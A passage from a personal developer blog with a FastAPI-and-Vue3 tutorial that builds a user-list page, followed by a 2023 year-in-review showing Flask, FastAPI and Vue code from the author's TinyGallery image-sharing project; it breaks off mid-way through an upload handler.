WeepingDogel

Learning for happiness.

https://weepingdogel.github.io/

https://weepingdogel.github.io/index.xml (RSS订阅地址)

A Simple Client Server Project Made by Python and Vue3

<div class="featured-image"> <img src="/img/2024-03-05-13-08-30%e5%b1%8f%e5%b9%95%e6%88%aa%e5%9b%be.png" referrerpolicy="no-referrer"> </div><h1 id="introduction">Introduction</h1> This demo will show a user list with avatar, username and description, which is the data fetched from the backend. At first, the client page made by vue3 will send a request to the server, then the server respond and transfer a JSON typed data. Then the clinet page accepts this data, and render a page. <h1 id="backend">Backend</h1> There’s a HTTP service powered by <a href="https://fastapi.tiangolo.com/" target="_blank" rel="noopener noreffer ">FastAPI</a>, which is a high performance web framework for Python. When started, it will read the json file <code>user_list.json</code> into the RAM as a variable. When received a HTTP request by the URL <code>/userdata/list</code> from any clinet, it will read the JSON data in RAM and send to the client. Here is the JSON file. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-json" data-lang="json">[ { "id": 1, "name": "WeepingDogel", "type": "dog", "age": 20, "avatar": "/static/WeepingDogel.jpg" }, { "id": 2, "name": "kira-pgr", "type": "cat", "age": 18, "avatar": "/static/kira-pgr.png" }, { "id": 3, "name": "kara", "type": "cat", "age": 19, "avatar": "/static/kara.jpg" }, { "id": 4, "name": "Felix Yan", "type": "fox(?)", "age": 30, "avatar": "/static/felix.jpg" }, { "id": 5, "name": "Old Herl", "type": "cat", "age": 400, "avatar": "/static/old_herl.jpg" }, { "id": 6, "name": "Episode 33", "type": "-/@”～、", "age": 17, "avatar": "/static/episode-33.jpg" } ] </code></pre></td></tr></table> </div> </div>Let’s start to code. Firstly, we need to create a virtual environment of Python and import the fastapi package. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ python -m venv venv </code></pre></td></tr></table> </div> </div>Install the fastapi libraries by <code>pip</code> and establish a root API URL to run a web server. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ pip install "fastapi[all]" </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"># encoding=UTF-8 # filename=main.py from fastapi import FastAPI app = FastAPI() @app.get('/') async def root(): return {"message": "Hello"} </code></pre></td></tr></table> </div> </div>While the client recevied the data to render the page, it will still access the server to get the static files. So let’s mount the staitc directory. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ ls src/static/ -lh 总计 396K -rw-r--r-- 1 weepingdogel weepingdogel 89K 3月 3日 18:51 episode-33.jpg -rw-r--r-- 1 weepingdogel weepingdogel 87K 3月 3日 18:35 felix.jpg -rw-r--r-- 1 weepingdogel weepingdogel 45K 3月 3日 15:52 kara.jpg -rw-r--r-- 1 weepingdogel weepingdogel 93K 12月18日 11:34 kira-pgr.png -rw-r--r-- 1 weepingdogel weepingdogel 36K 3月 3日 18:37 old_herl.jpg -rw-r--r-- 1 weepingdogel weepingdogel 34K 1月 6日 16:20 WeepingDogel.jpg </code></pre></td></tr></table> </div> </div>Add these to <code>main.py</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">from fastapi.staticfiles import StaticFiles app.mount('/static', StaticFiles(directory="src/static"), name="static") </code></pre></td></tr></table> </div> </div>Then we need to create a router <code>/userdata</code> by create a new file <code>router_userdata.py</code> in other direcotries or just in the same directory. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"># encoding=UTF-8 # filename=router_resources.py from fastapi import APIRouter import json userdata_router = APIRouter( prefix='/userdata', tags=['userdata'], responses={404: {"Description": "Not Found"}} ) </code></pre></td></tr></table> </div> </div>Now we need to open the json file and store the content into the memory as a variable. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">user_list: list = json.loads(open('src/data/user_list.json').read()) </code></pre></td></tr></table> </div> </div>Finally we create a URL router to provide the API to get the data. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"># encoding=UTF-8 # filename=router_resources.py from fastapi import APIRouter import json userdata_router = APIRouter( prefix='/userdata', tags=['userdata'], responses={404: {"Description": "Not Found"}} ) user_list: list = json.loads(open('src/data/user_list.json').read()) @userdata_router.get('/list') def read_user_list(): """ Read a user list from a json file. :return: A user list. """ return user_list </code></pre></td></tr></table> </div> </div>Now start the server by uvicorn. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3">uvicorn src.main:app --reload </code></pre></td></tr></table> </div> </div><h1 id="frontend">FrontEnd</h1> Now it’s the work that frontend must be responsible. Let’s create a vue3 project by yarn at first. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ yarn create vue </code></pre></td></tr></table> </div> </div>Then delete the components before, we don’t need them in this demo. Just rewrite the code of the <code>App.vue</code>. Before we send a request to fetch the data, we need to define two types to contain the data if Typescript is enabled. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 9 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">type User = { id: Number; name: string; user_type: string; age: Number; avatar: string; }; type UserList = User[]; </code></pre></td></tr></table> </div> </div>According to the <a href="https://vuejs.org/api/options-state.html" target="_blank" rel="noopener noreffer ">lifecycle</a> of Vue3, a method need to be create and used in the <code>mount</code> lifecycle. We have to define a global variable in <code>data()</code> state and a synchronous function in <code>methods</code> state. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">export default { data() { return { user_list: [] as UserList }; }, methods: { async GetUserList() {}, }, }; </code></pre></td></tr></table> </div> </div>Now we need to send a request by <code>axios</code>. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">import axios from "axios"; </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 6 7 8 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">async GetUserList() { try { const response = await axios.get<UserList>("/userdata/list"); this.user_list = response.data; } catch (error) { console.log(error); } }, </code></pre></td></tr></table> </div> </div>Then we need to run this function in <code>mount</code> lifecycle. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-vue" data-lang="vue">mounted() { this.GetUserList(); }, </code></pre></td></tr></table> </div> </div>Here’s the completed code in <code><script></code> tag: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">import axios from "axios"; type User = { id: Number; name: string; user_type: string; age: Number; avatar: string; }; type UserList = User[]; export default { data() { return { user_list: [] as UserList, }; }, methods: { async GetUserList() { try { const response = await axios.get<UserList>("/userdata/list"); this.user_list = response.data; } catch (error) { console.log(error); } }, }, mounted() { this.GetUserList(); }, }; </code></pre></td></tr></table> </div> </div><a href="https://vuejs.org/guide/extras/render-function.html#v-for" target="_blank" rel="noopener noreffer ">Render</a> the data in Template by ‘v-for’ property. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><template> <div class="bg"> <div class="user-list"> <div class="user-card" v-for="items of user_list"> <div class="user-image"> <img :src="items.avatar" /> </div> <div class="user-info"> <p class="user-name">{{ items.name }}</p> <p class="description"> A {{ items.user_type }}, {{ items.age }} years old. </p> </div> </div> </div> </div> </template> </code></pre></td></tr></table> </div> </div>Start the developerment server, you will see the page like this: <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">$ yarn dev </code></pre></td></tr></table> </div> </div> Finally we just finish the CSS inside the <code><style scoped></code> tag to beautify the style. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-css" data-lang="css">@keyframes FadeIn { from { scale: 0.75; opacity: 0; } to { scale: 1; opacity: 1; } } @keyframes BackgroundColor { from { background-color: #f1f1f1; } to { background-color: #dfaed4; } } .bg { width: 100vw; height: 100vh; display: flex; flex-direction: column; justify-content: center; align-items: center; background-color: #dfaed4; animation: BackgroundColor 5s; } .user-list { width: 450px; height: 800px; overflow-y: scroll; overflow-x: hidden; scrollbar-width: none; scroll-behavior: smooth; display: flex; flex-direction: column; background-color: #ffffff; border-radius: 20px; animation: FadeIn 1.5s; } .user-card { width: 100%; height: auto; display: flex; padding: 20px; flex-direction: row; border-bottom: solid 1px #ebebeb; } .user-image { width: 120px; height: 120px; border-radius: 100%; } .user-image img { width: 100%; height: 100%; border-radius: 100%; } .user-info { position: relative; left: 40px; display: flex; flex-direction: column; justify-content: flex-start; } .user-name { line-height: 60px; font-size: 32px; } .description { font-size: 22px; line-height: 30px; } </code></pre></td></tr></table> </div> </div>You will see a elegant page with user list in your browser. <h1 id="conclusion">Conclusion</h1> In this project, we’ve successfully demonstrated the interaction between a frontend client made using Vue3 and a backend server powered by FastAPI. By establishing a connection where the client requests user data from the server, receives a JSON response, and renders it on the webpage, we’ve showcased a basic full-stack web application flow. The backend server, built with FastAPI, functions as the intermediary between the data storage file (user_list.json) and the client. Upon receiving a request for user data at the endpoint <code>/userdata/list</code>, it reads the JSON data stored in memory, responds with the user list, and sends it back to the client for display. The frontend, developed using Vue3, sends requests to the backend server using Axios, retrieves the user data, and dynamically updates the webpage to showcase user avatars, names, and descriptions. This seamless data flow between the client and server illustrates the principles of front-end and back-end separation in web development. By combining technologies like Vue3, FastAPI, Python, and Axios, we’ve exemplified a simple yet effective approach to building web applications with modern tools and best practices in mind. This project serves as a foundation for creating more complex and feature-rich applications, highlighting the importance of efficient data fetching, processing, and rendering in web development.

2024/3/5

Annual Summary in 2023

<div class="featured-image"> <img src="/img/github-worth.png" referrerpolicy="no-referrer"> </div>Though the time is a unit defined by people, it can still flow away like a river running from the hill to the plain. I Only feel a sigh and a wink, the 2023 just has passed. Just looking back on the memories like the cherry blossoms drifting in midair, which I want to catch on my tiptoes, a lot has happened this year. Now just hold the petals and look, which probably makes me bring back the time to mind. <h1 id="gained">Gained</h1> The past year has been a whirlwind of learning and growth for me. <h2 id="skills--knowledge">Skills & Knowledge</h2> In 2023, I delved into a multitude of skills and embarked on several captivating open-source projects that have significantly broadened my horizons. <h3 id="flask">Flask</h3> Let’s start with the Flask journey. Early on, I found myself entangled in the enchanting web of Flask, a delightful web application framework in Python. The thrill of setting up and completing the <a href="https://github.com/WeepingDogel/tinygallery" target="_blank" rel="noopener noreffer ">TinyGallery</a> using Flask’s straightforward and efficient MVC structure left an indelible mark on my learning path. Diving into the official Flask documentation, I uncovered the art of rendering pages with the aid of jinja2-powered templates. This exploration, though it demanded patience, eventually bore fruit as I gradually incorporated functionalities into the project—minus the requirement of file uploads. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">@app.route("/") def index(): database = db.get_db() ImageTable = database.execute("SELECT * FROM IMAGES ORDER BY Date DESC") if 'username' in session: LikeTable = database.execute("SELECT LikedPostUUID FROM ImagesLikedByUser WHERE User = ? AND LikeStatus = ?", (session['username'], 1, )).fetchall() LikedList = [] for i in LikeTable: LikedList.append(str(i[0])) Avatar = database.execute('SELECT Avatar FROM AVATARS WHERE UserName = ?', (session['username'],)).fetchone() userAvaterImage = app.config['PUBLIC_USERFILES'] + '/' + session['username'] + '/' + Avatar['Avatar'] return render_template( "index.html", PageTitle="HomePage", Images=ImageTable, userAvaterImage=userAvaterImage, userName=session['username'], LikedList=LikedList) else: return render_template("index.html", PageTitle="HomePage", Images=ImageTable) </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html">{% extends "base.html" %} {% block Title %} {{PageTitle}} | TinyGallery {% endblock %} {% block body %} <div class="Content"> {% for x in Images %} <div class="work"> <img class="displayedImages" onclick="OpenFullImage({{ loop[" index"] }})" src="/static/img/users/{{ x['User'] }}/Images/{{ x['UUID'] }}.jpg" alt="{{ x['UUID'] }}" /> <h1 class="userName">{{ x['ImageTitle'] }}</h1> <p class="textFont"> <span>By {{ x['User'] }}</span> <br /> <span class="LikesNum"> Likes: {{ x['Dots'] }} </span> <br /> <span>Description: {{ x['Description'] }}</span> <br /> <span>Date: {{x['Date']}}</span> <br /> {% if g.user %} {% if x['UUID'] in LikedList %} <svg onclick="SendLikedData({{ loop[" index"] }}, 'Like' )" class="likeStatus0" style="display: none;" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-star" viewBox="0 0 16 16"> <path d="M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0z" /> </svg> <svg onclick="SendLikedData({{ loop[" index"] }}, 'Unlike' )" class="likeStatus1" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-star-fill" viewBox="0 0 16 16"> <path d="M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z" /> </svg> {% else %} <svg onclick="SendLikedData({{ loop[" index"] }}, 'Like' )" class="likeStatus0" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-star" viewBox="0 0 16 16"> <path d="M2.866 14.85c-.078.444.36.791.746.593l4.39-2.256 4.389 2.256c.386.198.824-.149.746-.592l-.83-4.73 3.522-3.356c.33-.314.16-.888-.282-.95l-4.898-.696L8.465.792a.513.513 0 0 0-.927 0L5.354 5.12l-4.898.696c-.441.062-.612.636-.283.95l3.523 3.356-.83 4.73zm4.905-2.767-3.686 1.894.694-3.957a.565.565 0 0 0-.163-.505L1.71 6.745l4.052-.576a.525.525 0 0 0 .393-.288L8 2.223l1.847 3.658a.525.525 0 0 0 .393.288l4.052.575-2.906 2.77a.565.565 0 0 0-.163.506l.694 3.957-3.686-1.894a.503.503 0 0 0-.461 0z" /> </svg> <svg onclick="SendLikedData({{ loop[" index"] }}, 'Unlike' )" class="likeStatus1" style="display: none;" xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-star-fill" viewBox="0 0 16 16"> <path d="M3.612 15.443c-.386.198-.824-.149-.746-.592l.83-4.73L.173 6.765c-.329-.314-.158-.888.283-.95l4.898-.696L7.538.792c.197-.39.73-.39.927 0l2.184 4.327 4.898.696c.441.062.612.636.282.95l-3.522 3.356.83 4.73c.078.443-.36.79-.746.592L8 13.187l-4.389 2.256z" /> </svg> {% endif %} {% endif %} </p> </div> {% endfor %} </div> {% endblock %} </code></pre></td></tr></table> </div> </div>Despite its simplicity and ease of adoption, Flask did exhibit some flaws and yielded challenging bugs in the earlier versions of TinyGallery, contributing to a decision to transition to a new technology stack. <h3 id="fastapi-vuejs">FastAPI, VueJS</h3> Enter FastAPI and VueJS. To elevate the TinyGallery experience, a decision was made to bifurcate the backend and frontend, with a keen emphasis on leveraging Ajax-all-in and Restful API features. This compelling pursuit led me to immerse myself in the world of VueJS, resulting in the creation of <a href="https://github.com/WeepingDogel/tinygallery-vue" target="_blank" rel="noopener noreffer ">tinygallery-vue</a> and <a href="https://github.com/WeepingDogel/tinygallery-backend" target="_blank" rel="noopener noreffer ">tinygallery-backend</a>. Months of dedicated learning culminated in the successful completion of this endeavor. The depth and breadth of my learning during this period were substantial, encompassing the creation of a Restful API provider with FastAPI, the crafting of a webpage capable of seamless data communication with the server using axios, and the meticulous design of simple, yet elegant components in VueJS. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">async fetchData() { // Fetch more image data from the server this.pages = this.pages + 1; // Increment the current page number const response = await axios.get("/resources/posts/" + this.pages); // Make a GET request to the server API const newData = JSON.parse(response.request.response); // Parse the response text to JSON format if (newData[0] == null) { // If there is no new data this.pages = this.pages - 1; // Decrement the current page number } else { // Otherwise for (let i = 0; i < newData.length; i++) { // Loop over the new data and add it to the display data array (this.displayData as any).push(newData[i]); } } }, </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><template> <div class="Card" v-for="items of displayData"> <img @click="OpenRemarkBySingleUUID((items as any).post_uuid)" class="displayImage_NSFW" :src="(items as any).cover_url" :alt="(items as any).post_uuid" v-if="(items as any).nsfw" /> <img @click="OpenRemarkBySingleUUID((items as any).post_uuid)" class="displayImage" :src="(items as any).cover_url" :alt="(items as any).post_uuid" v-else /> <h2 class="ImageTitle">{{ (items as any).post_title }}</h2> <p class="ImageDescription">{{ (items as any).description }}</p> <div class="UserInfoBar"> <img class="UserAvatar" :src="(items as any).avatar" /> <p class="ImageUserName">{{ (items as any).user_name }}</p> <p class="LikesDisplay">{{ (items as any).dots }} likes</p> <p class="ImageDate"> {{ TimeZoneCaculator.CaculateTheCorrectDate((items as any).date) }} </p> </div> </div> </template> </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">@image_resources_api.get("/posts/{page}") async def get_posts_as_json(page: int, db: Session = Depends(get_db)): if not page: raise HTTPException( status_code=400, detail="You must append a page number to the end of the url.") posts_from_db = crud.get_posts_by_page(db=db, page=page) list_for_return: list[dict] = [] for x in posts_from_db: user_uuid = get_user_uuid_by_name(user_name=x.user_name, db=db) admin_uuid = get_admin_uuid_by_name(user_name=x.user_name, db=db) temp_dict = { "id": x.id, "description": x.description, "share_num": x.share_num, "post_uuid": x.post_uuid, "nsfw": x.nsfw, "user_name": x.user_name, "post_title": x.post_title, "dots": x.dots, "date": x.date[0:16], "cover_url": dir_tool.get_cover_file_url(x.post_uuid), "avatar": dir_tool.get_avatar_file_url(dir_user_uuid=admin_uuid if admin_uuid else user_uuid)[1] } list_for_return.append(temp_dict) return list_for_return </code></pre></td></tr></table> </div> </div>Reveling in the satisfaction of newfound skills, I proudly navigated my way through VueJS’s option API, acquainting myself with the intricacies of lifecycle management, components, and props. On the backend front, mastering the art of JWT token creation for authentication, file handling, and data manipulation further bolstered my repertoire. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">LoginAccount() { if (this.logUserName == "" || this.logPassWord == "") { // Check if username and password are empty this.Result = "Username or password can't be empty!"; console.log("Username or password can't be empty!"); } else { let bodyFormData = new FormData(); bodyFormData.append("username", this.logUserName); bodyFormData.append("password", this.logPassWord); axios({method: "post", url: "/user/token", data: bodyFormData, headers: { "Content-Type": "application/x-www-form-urlencoded" },}) .then((response: any) => { console.log(response.data.access_token); // Create an object to store the username and token. const token = response.data.access_token; window.localStorage.setItem("Token", token); // Set logging status. Authentication().setLogStatus(true); }) .catch((error: any) => { // Return the errors. this.Result = error.response.data.detail; console.log(error.response.data.detail); }); } }, </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">@userAuthRouter.post("/token") async def user_login(db: Session = Depends(get_db), form_data: OAuth2PasswordRequestForm = Depends()): user_authentication = authenticate_user(db, form_data.username, form_data.password) admin_authentication = authenticate_admin(db, form_data.username, form_data.password) # Raise error if authentication fails if not user_authentication and not admin_authentication: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Incorrect username or password.", headers={"WWW-Authenticate": "Bearer"} ) try: # Create access token access_token_expires = timedelta(minutes=config.ACCESS_TOKEN_EXPIRE_MINUTES) access_token = create_access_token( data={"sub": form_data.username}, expires_delta=access_token_expires) except JWTError: raise HTTPException( status_code=status.HTTP_401_UNAUTHORIZED, detail="Cannot create token.", headers={"WWW-Authenticate": "Bearer"} ) # Return access token return {"access_token": access_token, "token_type": "bearer"} </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">export default { data() { return { pages: 1, // The current page number displayData: [], // An array to store the displayed images. }; }, ... mounted() { // Called after the component is mounted and ready to use this.displayIamges(); // Display the initial set of images } } </code></pre></td></tr></table> </div> </div>In addition, I can also deal with the task of uploading files, updating and deleting data. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-typescript" data-lang="typescript">uploadPost() { // Define a method called 'uploadPost' that sends a POST request to the server with the form data entered by the user. if (this.post_title == "" || this.description == "") { // If the 'post_title' or 'description' data properties are empty, log an error message to the console. console.log("Title and Dercription can't be empty!"); } else { const token = localStorage.getItem("Token"); // Get the JWT token from local storage and store it in a variable called 'token'. const config = { // Define an object called 'config' with headers that include the JWT token and set the content type to 'multipart/form-data'. headers: { Authorization: "Bearer " + token, "Content-type": "multipart/form-data", }, }; let is_nsfw; // Declare a variable called 'is_nsfw'. let bodyFormData = new FormData(); // Create a new instance of the FormData class and store it in a variable called 'bodyFormData'. if (this.is_nsfw) { // Check whether the 'is_nsfw' data property is true. If so, set 'is_nsfw' to "true"; otherwise, set it to "false". is_nsfw = "true"; } else { is_nsfw = "false"; } bodyFormData.append("is_nsfw", is_nsfw); // Append the 'is_nsfw' value to the form data object. bodyFormData.append("post_title", this.post_title); // Append the 'post_title' value to the form data object. bodyFormData.append("description", this.description); // Append the 'description' value to the form data object. if (this.CustomCover) { // If the 'CustomCover' data property is true, append the cover file selected by the user to the form data object; otherwise, append an empty string. bodyFormData.append("cover", this.coverFile as any); } else { bodyFormData.append("cover", ""); } for (let i = 0; i < this.uploadImagesFile.length; i++) { // Loop through the array of uploaded images and append each one to the form data object. console.log(this.uploadImagesFile[i]); bodyFormData.append("uploaded_file", this.uploadImagesFile[i]); } console.log(bodyFormData); // Log the final form data object to the console. axios .post("/posts/create", bodyFormData, config) // Send a POST request to the '/posts/create' endpoint with the form data as the payload. .then((response) => { // If the request is successful... console.log(response); // Log the response to the console for debugging purposes. if ((response.data.status = "success")) { // Check if the server responded with a success status. this.$emit("update:modelValue", false); // Emit the 'update:modelValue' event with a value of false to close the uploader panel. UpdateImages().Update(1); // Call the 'UpdateImages' function to update the images displayed on the website. this.$router.push("/"); // Redirect the user to the homepage. } }) .catch((error) => { // If there was an error... console.error(error); // Log the error to the console for debugging purposes. alert(error.response.data.detail); // Display an alert with details about the error. }); } this.post_title = ""; // Reset the 'post_title' data property to an empty string. this.description = ""; // Reset the 'description' data property to an empty string. this.is_nsfw = ""; // Reset the 'is_nsfw' data property to an empty string. this.CustomCover = false; // Reset the 'CustomCover' data property to false. }, </code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python">@Post_router.post("/create") def upload_image(is_nsfw: str = Form(), db: Session = Depends(get_db), uploaded_file: list[UploadFile] = File(), cover: UploadFile | None = None, post_title: str = Form(), description: str = Form(), token: str = Depends(oauth2Scheme)): # This block for declare variables. # --- declare block # Get the name of user from token user_name: str = token_tool.get_user_name_by_token(token=token) post_uuid: str = str(uuid.uuid4()) # If User uploaded a cover then this variable will be True. cover_exist: bool = False # -- end declare block # This block for verification # ---verification block if not crud.get_user_by_name(db, user_name=user_name) and not crud.get_admin_by_name(db, user_name=user_name): raise HTTPException( status_code=400, detail="The user does not exist!") if cover: cover_exist = True # Return Error, if list have same file name. for x in uploaded_file: if 